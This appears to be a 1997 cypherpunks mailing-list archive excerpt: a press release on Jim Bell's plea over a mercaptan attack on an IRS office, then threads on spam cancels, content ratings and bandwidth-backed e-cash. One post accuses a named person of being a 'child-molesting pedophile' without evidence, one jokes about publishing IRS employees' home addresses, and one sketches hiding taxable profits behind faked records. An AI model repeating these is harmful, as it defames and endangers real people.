that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Skirvin <tskirvin@math.uiuc.edu>
Date: Thu, 31 Jul 1997 22:12:54 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <19970731090023.27288@math.uiuc.edu>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson <randerso@ece.eng.wayne.edu> writes:

> "Make Money Fast" are killed because they're illegal scams in the US and I 
> think in most of the world.

	Make.Money.Fast is killed because it's spam a few thousand times 
over.  The legality of it doesn't come into question.

				- Tim Skirvin (tskirvin@uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Fri, 1 Aug 1997 03:25:53 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707311858.OAA10505@mail.storm.ca>
Message-ID: <3.0.2.32.19970731090708.00968100@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 2:58 PM 7/31/97 -0400, Sandy Harris wrote:
> Dr. Jai Maharaj <jai@mantra.com> wrote:
>
>|At 11:21 AM 7/31/97 -0400, Sandy Harris wrote:
>|> Dr. Jai Maharaj <jai@mantra.com> writes:
>|>|> ...where on this scale do you start to object to my actions:
>|>|>1) I use a killfile to ignore certain messages.
>|>|>2) I program my personal newsserver to discard certain messages.
>|>|>3) A group of us, by consensus, program our common newsserver...
>|>|
>|>|Unanimous consent?
>|>|
>|>|>4) A system admin, with due notice to users, programs a 
>|>|>newserver.....
>|>|
>|>|What constitutes "due notice" in the present context?
>|>
>|>Postings in news.announce.newusers.
>|
>|That's ridiculous.  One shopping for an ISP, without
>|access to the Net, is not in a position to read a
>|notice in a newsgroup. 
>
>No, but any decent ISP (or corporate or institutional system
> administrator) will . . .

The faact that an ISP supports censorship takes away
the "decent" qualification, thus invalidating the
other premise and whatever else was built upon it.

> . . . suggest reading that newsgroup in their
> material for new users and/or set up new accounts so they
> are automatically subscribed to it. & any sensible new user
> will read & heed.

That is unacceptable since the users would have already
paid for the account by that time and signed a contract.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 21:40:29 +0800
To: Apache <apache@bear.apana.org.au>
Subject: Re: House Report on SAFE
Message-ID: <1.5.4.32.19970731131548.006e2578@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Apache wrote:

>I must have missed a post on this. Have you been ordered to remove 
>material by Jim Bell? Has equipment been seized?

No, nothing's been done like that to my site that I'm aware of. My 
remarks are meant to keep Jim Bell's undue incarceration alive.
Maybe a little whistling in the dark.

It's a bitch to be isolated and targeted like Jim has been, which is 
the oft-spammed point terrorists make with political hostages unable 
or unwilling to toe tithe.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 00:40:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DF9522.3985417E@cptech.org>
Message-ID: <19970731092109.15947@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 01:45:15AM +0100, Adam Back wrote:
[...]
> Even if government were to insist that everyone self rated, it would
> be damn near meaningless.

I think you are seriously underestimating the usefullness of 
self-rating.  Yes, indeed, there are people who will spoof them, or 
who may have a completely weird view of the world that allows them an 
odd interpretation of what the ratings mean, so you won't get 100% 
coverage.  

But it is important to remember that less than perfect coverage is
completely acceptable.  What you have to evaluate is whether the
percentage of coverage is worth the trouble.  

As has been pointed out, a large majority of sites that provide
"adult" material (under a very broad definition of "adult") *already*
self-rate -- their pages are usually (in my limited experience)
plastered with warnings, in fact.  And if there was a simple,
consistent standard for those already existing self-ratings it would 
be easy to generate filters for them.

Note that this is orthogonal to the issue of whether the self-ratings 
are government-mandated, and it works independently of government 
mandate.  The reason is that the larger porn sites are in it for the 
money, and *any* social sanction -- government, mail bombs, bad publicity, 
mass protest, real bombs etc -- makes it cost effective to do 
self-rating, if the self-rating is cheap.

More interesting than ratings, however, are techniques used to 
establish credentials for a large class of people.  How does one 
identify oneself as an "adult" in cyberspace?

If "adult" means "inhabits a physical human body at least 21 years 
old" then you have to tie a cyberspace identity to a human body.  
This is a tricky problem.

OTOH, if "adult" means "knows a certain body of knowledge, that only a
person who was alive and aware at date X would know", then you have a
much different, and really, much easier, problem -- you can devise a
test.  Such a test should have just a few questions, drawn from a
large pool, each of which has a fairly high probability of not being
answerable by a child.

"I am not a crook" was said by:
	a) Mickey Mouse, in the "Steamboat Willie" cartoon
	b) Richard Nixon
	c) 
	d) 

Ben Cartrights 3 sons were:
	a) Jimmy, John, and Sam
	b) etc
	c)
	d)

This approach was actually used by -- let's see -- the "Leisure Suit 
Larry" suite of games, and it was pretty effective at blocking 
children from playing.

[...]
> 
> General rhetorical question: indeed why have governments at all?

General rhetorical answer:  Because people are the way they are.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 22:10:43 +0800
To: cypherpunks@toad.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311307.IAA17412@mailhub.amaranth.com>
Message-ID: <cFkPae11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

>
> -----BEGIN PGP SIGNED MESSAGE-----
>
> In <199707311240.NAA00742@server.test.net>, on 07/31/97
>    at 01:40 PM, Adam Back <aba@dcs.ex.ac.uk> said:
>
> >Then I can have some net cash savings backed by the rights to 1Tb of
> >bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
>
> >A problem with this is that the market prices of the assets is
> >continually dropping.  How do I hedge against this.  Can I buy futures?
> >Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
> >years time at an predicted equivalent value?

This is a VERY interesting idea Adam.

But it should also depend on the time of day: 10mbps at 8 pm, when all
the geeks are jerking off online, is more valuable than 10mbps at 5 am.

Another observation is that a lot of folks have a lot of unused
bandwidth which they keep just in case they need it once a day.
If they can rent out the unused bandwidth, it'll make it cheaper
to buy even more bandwidth in case they need it later - a self-feeding
growth.  Cool.

> Well I see some problems with this. Any increase in bandwith requires the
> addition of hardware to accomplish it. It would be of little use to me to
> have 100 Mb/sec for 3days considering the cost of installing the lines and
> purchacing the extra equipment.
>
> Also in a packet switching environment how do you plan on insuring any
> amount of bandwith? The Backbone is not set-up for this. The only way in
> the current enviorment that you can guarantee a given bandwith is by
> having a dedicated connection point to point.

I had a very interesting conversation the other day about how electrical
utilities (and traders) are now developing fascinating derivatives based
on the electricity as a commodity.  Sure one can trade futures on electricity.
Electricity also comes in different kinds and at different prices depending on
the geographic location and the local time; noon electricity on the east
coast is not the same as the noon electricity in chicago. All this trading
leads not just to speculation, but to better hedging, more efficient
utilization of resources, and lower prices for end-users.

I'm shocked I myself didn't think then and there of an analogy with Internet
bandwidth.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 31 Jul 1997 22:51:38 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: uncensorable net based payment system?
In-Reply-To: <cFkPae11w165w@bwalk.dm.com>
Message-ID: <199707311442.JAA18579@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <cFkPae11w165w@bwalk.dm.com>, on 07/31/97 
   at 09:24 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>I'm shocked I myself didn't think then and there of an analogy with
>Internet bandwidth.

Well there are some distinct differences between a Utility
(Electric,Water,Gas) and that of Ineternet bandwith.

With a public utility the greatest expence is not in providing the pipe
(bandwith) but in generating the resources (electric,water,gas). The
oppisite of this is true with the internet. The monthy telco charges for
prividing the bandwith is much more than the cost's of providing the
resources (data).

I think a closer analogy to the Internet is that of a highway system
(Information Highway, who knew? <g>). You have the upfront expence of
building the highway (bandwith) and then the expences of up-keep &
maintinance (telco charges - profit).

Now we have two camps for how this should be paid for. Should the users
pay upfront for a certian amuont of usage (This is basicaly how it is
today) or should users pay a metered rate simmilar to a toll-road.

I myself prefer to pay a flat rate and make use of my time & bandwith as I
see fit than to pay on a metered rate. I remember years back with
Compu$erve paying a metered rate and getting +$100 mo. bills from them.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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=BuC3
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:50:13 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: Rep. White introduces Internet Protection Act
In-Reply-To: <199707311411.HAA18283@toad.com>
Message-ID: <3.0.2.32.19970731094719.006f3430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:12 AM 7/31/97 -6, Peter Trei wrote:
>Does the FCC charter mention photonic communications as 
>well? At what point does the charter allow them to 
>interfere? Here's some steps on the way...
>
>* A mime, 'working' outdoors in daylight.
>The communication is entirely by photons, and the light
>source is non-electronic. (I know that many people
>would like to see mimes suppressed for the good of 
>humanity, but bear with me).

"A mime is a terrible thing to waste."

>* A mime, working by electric light.
>
>Does the fact that electricity is involved in
>creating the light make the communication 
>'electronic'? I don't think so. 

Electrical, perhaps; electronic, no, unless the light is using
transistors or vacuum tubes for some reason.

A mime, working under a government-funded streetlight,
which is powered by electricity obtained from interstate commerce .....
Sure, we can regulate that!  :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 1 Aug 1997 01:15:47 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970731095523.04336@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jul 31, 1997 at 08:16:59AM -0400, William H. Geiger III wrote:
[...]>
>>One way to implement this is for other people to pay the author for their
>>articles a penny if they like the article.  That way people who write
>>things which others find interesting to read get subsidized posting.  Is
>>it still free speech if you have to pay for your posts if you're arguing
>>for an unpopular minority?
>
>This will not work!!!

I agree.  If charging for mail would eliminate spam, then I should not
be getting the mailboxfull of physical junk mail I receive every
morning.  Postage benefits the MAIL CARRIER, not the recipient, and it
is in the best interests of the mail carrier to carry MORE mail, not
less.  So, e-postage will almost certainly cause more spam, not less. 

[...]

>It should be noted that the Bandwith issue is a red-herring.

However, I think your argument here is faulty, because bandwidth is in
fact oversubscribed -- the whole system depends on each end subscriber
not using all their bandwidth all the time.

> The bandwith
>of the USENET has been *PAID IN FULL* by every subscriber to an ISP. The
>ISP customers pay for their connections to their ISP who in turn pay for
>their connections to the Access providers who inturn pay for the Backbone.
>The PIPE has been paid for what goes over it not an issue. If all I want
>to do with my T1 connection is ship *.jpg files via ftp 24/7 that is no
>ones busines but my own.

Not really.  A T1 line, for example, can handle maybe 40-50 28.8 modems 
going full blast, but a small ISP over a T1 might have 200 customers.  
This goes right on up the line -- at every level bandwidth is 
oversubscribed, and successful operation of the net depends on 
certain statistical usage patterns.  So, while it isn't written down 
in a contract anywhere, what you are really paying for is peak 
bandwidth, not sustained bandwidth.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Skirvin <tskirvin@math.uiuc.edu>
Date: Thu, 31 Jul 1997 23:17:53 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970731073318.102F-100000@shirley>
Message-ID: <19970731100829.06883@math.uiuc.edu>
MIME-Version: 1.0
Content-Type: text/plain



"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> 1. "Spam cancellers" are not generally news admins. They are plain old
> users who get kicked off of their ISPs for forging cancels. For examples,
> see Net.Scum pages of Rick Buchanan, David Ritz, et al.

	Many spam cancellers are news admins.  Most of the major ones are
admins, in fact - Chris Lewis, JEM, etc.

> 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> s/he often diversifies into "retromodetration" - forgng cancels for
> singly-postd articles whose contents they don't like and claiming that
> they were "spam". For examples, see the Net.Scum pages for Guy Macon
> (the retromoderator on soc.religion.quaker), Chris Lewis, et al.

	This rarely happens, actually, and such situations are quickly
slapped down as soon as they're spotted.  

	The two examples Dimitri gives, of course, are major 
misrepresentations.

				- Tim Skirvin (tskirvin@uiuc.edu)
-- 
Skirv's Homepage<*>
The Killfile Dungeon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Fri, 1 Aug 1997 01:20:27 +0800
To: "freedom-knights@jetcafe.org>
Subject: RE: Entrust Technologies's Solo - free download
Message-ID: <01BC9D99.CD73D990.chrisd@loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain



This is all nice and good, but the question is who is Chris Lewis, what is 
his connection to northern telecom, what the hell do you mean by forgery, 
are you implying the technology that entrust has in it's secure kernal is 
stolen? Keeping in mind that using public domain algorithms is not theft, 
and also keeping in mind that they have a patent license from public key 
partners, which allows them to use the "rsa" patents, and keeping in mind 
that a fully featured certificate system is much more than just a 
cryptography product. Is the law being broken here? Is there a breach of 
ethics at Entrust?

To restate.....what's wrong with what entrust is doing? Everyone has had 
such a good time talking about spamming and cancels, but I'm really 
interested in how Nortel is somehow committing a forgery.

Also looking around the dejanews stuff about lewis, he seems to be a spam 
cancel freak yes, but no pedophile.

Dimitri,   you seem to be a pretty smart guy...enlighten me on this whole 
thing. Do you mean that Nortel has a hand in the forging of spam cancels? 
Or do you mean that they have a hand in forging software?


  Chris DiBona



-----Original Message-----
From:	Dr.Dimitri Vulis KOTM [SMTP:dlv@bwalk.dm.com]
Sent:	Wednesday, July 30, 1997 6:22 AM
To:	cypherpunks@toad.com; freedom-knights@jetcafe.org
Subject:	Re: Entrust Technologies's Solo - free download

> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
>
> For e-mail / file encryption, digital signature
>
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA 
public-key
> cryptography and has DES, Triple DES available.
>
> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust.

I ask everyone on these two forums to inform Northern Telecom Forgers /
Bell North Forgery Research / Entrust that we will boycott their
"security" products as long they continue to employ the child-molesting
pedophile Chris R. Lewis - the biggest forger on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 31 Jul 1997 22:21:02 +0800
To: cypherpunks@toad.com
Subject: Re: Rep. White introduces Internet Protection Act
Message-ID: <199707311411.HAA18283@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan writes:
 
> This is important. After all, the FCC's charter gives
> it jurisdiction over all electronic communications --
                           ^^^^^^^^^^
> though the commission has opted not to exercise its
> authority in cyberspace.

Here's a fun little thought experiment:

Considering the hairsplitting that takes place everyday
in courtrooms these days, an arguement could be made that
since virtually the entire net these days is optical fiber,
there are no 'electronic' communications taking place.

Does the FCC charter mention photonic communications as 
well? At what point does the charter allow them to 
interfere? Here's some steps on the way...


* A mime, 'working' outdoors in daylight.

The communication is entirely by photons, and the light
source is non-electronic. (I know that many people
would like to see mimes suppressed for the good of 
humanity, but bear with me).

* A mime, working by electric light.

Does the fact that electricity is involved in
creating the light make the communication 
'electronic'? I don't think so. (IANAL) It (the
mime) is certainly modulating the (electronically
generated) light, just as an optical transducer
does.

* A mime, illuminated by an electric
light, and viewed through a fiberscope.

There's certainly no new 'electronic' components
introduced at this step, so sending modulated, 
electronically generated, photonic messages 
through an optical fiber would not seem to 
constitute an 'electronic' communication.

* A mime performing inside a sealed box, 
illuminated by electric light and viewed 
through a fiberscope.

Once again, no new 'electronic' components have
been added. 

* The mime, finally realising that the box is 
airtight and unopenable (I told you to bear
with me :-), signals for help by sending Morse 
code down the fiberscope with a flashlight.

The other end of the fiberscope enters a similar
box, where another mime flashes back "Great
'walking against the wind' technique, but I can't
help - my box is sealed too."

Is this an electronic communication?

This is getting pretty close to the situation of
two computers connected by fiber optics - the 
communication mode is even digital. The boxes are 
silent, consume electric power, and communicate
via optical fiber. I don't think the FCC's 
jurisdiction extends inside the boxes, where all 
the 'electronic' portions of the system reside.

Just some idle speculation...


Peter Trei
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Thu, 31 Jul 1997 22:27:36 +0800
To: cypherpunks@toad.com
Subject: Re: uncensorable net based payment system?
In-Reply-To: <Pine.LNX.3.95.970731094524.8479A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970731094534.8114D-100000@online.offshore.com.ai>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back <aba@dcs.ex.ac.uk> said:
>Then I can have some net cash savings backed by the rights to 1Tb of
>bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.
> 
>A problem with this is that the market prices of the assets is
>continually dropping.  How do I hedge against this.  Can I buy futures? 
>Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec for 3 days in 1
>years time at an predicted equivalent value? 

I could imaging making a currency backed by "megabytes of data transfered"
to and from my server here in Anguilla.  This could be to run a web page,
mailing list, or whatever.

But you are right that it is an asset continually dropping in value, so
it is an odd thing to back a currency with.  Would only want to keep
enough money in it to do what you currently wanted to do, not as a long
term investment.

I could imaging just gradually increasing it so that $0.25 for 1 megabyte
today became $0.25 for 1.1 megabytes in 3 months, or something like that.

Interesting idea...

  --  Vince






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:46:40 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free  download)
In-Reply-To: <199707310103.CAA27631@server.test.net>
Message-ID: <3.0.2.32.19970731102244.006f3430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:36 PM 7/30/97 -0400, Ryan Anderson wrote:
>"Make Money Fast" are killed because they're illegal scams in the US and I 
>think in most of the world.

They're illegal in the US primarily because the Post Office is confused
about whether its job is to deliver the mail or to censor it,
and delivery of MMFs by mail is policed by Postal Inspectors just as
delivery of obscenity by mail is.  It's a side effect of having services
provided by a government monopoly rather than the free market,
though I'm sure that to some extent it's because people started 
complaining to the Post Office that they were receiving junk mail,
and complaining to their legislators that they lost money on these scams.

On the Internet, on the other hand, not only is the stuff spam and a scam,
but it's abusing flat-rate prices for service, and service providers
don't like it.  Julf's remailer used to block MMFs.

Pyramid scams like the MMF, and the government's inability to deal with it,
brought down the Albanian government recently.  Here in the US that would
_never_ happen (:-), assuming of course you don't consider Social Security
to be a Ponzi scheme....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 1 Aug 1997 15:43:47 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <3.0.2.32.19970731102641.006f3430@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:40 PM 7/31/97 +0100, Adam Back wrote:
>The internet looks like it is slowly moving towards anonymous
>micropayments for services, and metering for scarce resources.
...
>That is to say high velocity efficient markets will arise for resale
>of bandwidth, storage and CPU hours.
.....
>The interesting question then is can we actually base an entirely net
>based currency on trading of these resources. 

It's not very stable, though it might be useful for short term
exchanges of value.  On the other hand, since demand for resources
is very bursty and constantly fluctuating, what we're more likely to see
is an agoric computing model of continuous auctions for some resources,
which allows pricing to reflect the near-instantaneous demand
(and therefore to fluctuate wildly, making it really useless as currency :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 31 Jul 1997 22:40:12 +0800
To: cypherpunks@toad.com
Subject: EVENT: Cryptography, scientific freedom & human rights Fri Aug 1!
Message-ID: <199707311427.KAA18487@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.12             http://www.democracy.net/           July 31 1997
_________________________________________________________________________
Table of Contents

 - Live cybercast - Cryptography: Scientific freedom and human rights
 - Featured speakers
 - Program overview
 - About democracy.net
_________________________________________________________________________
LIVE CYBERCAST - CRYPTOGRAPHY: SCIENTIFIC FREEDOM AND HUMAN RIGHTS

Interested in exploring the human rights and scientific freedom
implications of the cryptography policy debate?

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featuring members of Congress, human rights
advocates, and encryption experts.

Visit http://www.democracy.net/ for details.

  Date: Friday August 1, 1997
  Time: 12:00 noon - 1:30 pm Eastern (9:00 am Pacific)
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_________________________________________________________________________
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 The encryption debate has revolved around issues of industrial
 competitiveness, personal privacy, and the interests of national
 security and law enforcement.  This briefing seeks to bring two more
 issues into the policy discussion: scientific freedom to conduct and
 express cryptographic research, and human rights applications of
 cryptographic technologies.

_________________________________________________________________________
FEATURED SPEAKERS

*  Matt Blaze, Principal Research Scientist, AT&T Laboratories

*  Ian Goldberg, Internet Security, Applications, Authentication and
   Cryptography  Project, University of California, Berkeley

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   for the Advancement of Science

*  Dinah PoKempner, Deputy General Counsel, Human Rights Watch

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end update no.12                                                   07/31/97
===========================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 1 Aug 1997 01:44:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: I did get the infamous IRS letter after all
In-Reply-To: <Pine.GSO.3.95.970731085532.17782D-100000@eff.org>
Message-ID: <19970731173429.26553.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> In previous court hearings, IRS
> Inspectors testified that BELL had obtained the names and home addresses of
> 70 IRS employees as part of  "Operation LocatIRS." 

Hmmm.  Would http://irs.agents.eternity/ be an appropriate permanent
respository for this valuable document?  :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Thu, 31 Jul 1997 22:44:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: uncensorable net based payment system?
In-Reply-To: <199707311240.NAA00742@server.test.net>
Message-ID: <97Jul31.103618edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Adam Back wrote:

> The internet looks like it is slowly moving towards anonymous
> micropayments for services, and metering for scarce resources.

The big problem will be fraud.  How do you know the ISP you are buying
disk space from won't disappear after you have prepaid a year of disk
space?

I am not sure of the economics of moving to micropayments (A post in the
e$ lists noted that Taxis can meter, but Jitneys have a flat rate, and
that encryption necessary for ecash uses lots of cpu cycles and space to
check for double spending - so even micropayments *must* cost far less to
transact than what is being paid for), but assuming we go that direction:

Any currency in bandwidth would likely be short-lived - you would keep
your reserves in a more standard commodity (or even currency) exchange
certificate, and spend those - one assumes that currency/commodity
e-changes would be common and run by arbitrageurs who will send you real
cash or commodities or warehouse receipts if you really want them.

You would dial one of several access companies and insert e-coin.  These
e-coins would be aggregated, so that the bandwidth usage would be
calculated, and the e-coins would propogate up as necessary to maintain
bandwidth (and inform your client to cough up more e-coins as you use it)
- the profit comes from extra e-coins not forwarded to the upstream
bandwidth provider.  The extra e-coins would be sent to an interest
bearing account in a tax-free authority, and the records for the locals
will come from a modified random poetry program.  With encryption, they
won't be able to determine packet content, and maybe not even destination. 
And if they try to do it per packet, 1M packets will be the norm, etc. 

(Some south american country had a very high telephone tax, so an american
company set up a system where you could dial here, and it would call back
(untaxed) and set up a third call - a proxy phone if you like.  The two
calls originating from the US were cheaper than the one call there - the
country eventually blocked all calls to Nebraska, so the company moved to
a 202 area code - I forget the other details, but you see what will
happen). 

> 	- be immune to government hidden taxations such as printing
> 	  new money as a form of tax

You cannot make any thing immune from this, but with everyone watching the
central banks, you either have your ecash in commodities, or watch the
foreign exchange markets closely, or have your software agent or broker do
this for you.  Any hint of inflation and everyone will dump the currency
and anything denominated in that currency, so even mild inflation will
become instant hyperinflation.

> 	- be immune from government taxation

None of this is directly taxable, but look for a $100/phone line tax if
they really get desparate (and then look for spread-spectrum digital
wireless to replace landlines - those tiny bursts are awfully hard to
track and meter).  The can also try going after the backbone providers,
but then foreign owned satellites would pick up the slack.  You can only
tax something until an untaxed substitute becomes cheaper, and there are
lots of substitutes.

> 	- be a stable form of cash (in the face of rapidly
> 	  depreciating assets like Mb/years of storage as mass storage
> 	  devices continue their price plumet.)

No form of cash is stable since cash is a measure of value, and everything
else it would be exchanged for is changing.  Even gold and silver change
exchange rates.  One of the functions of cash is as a store of value.
Thus it isn't really cash if it is in a wasting asset.

> A problem with this is that the market prices of the assets is
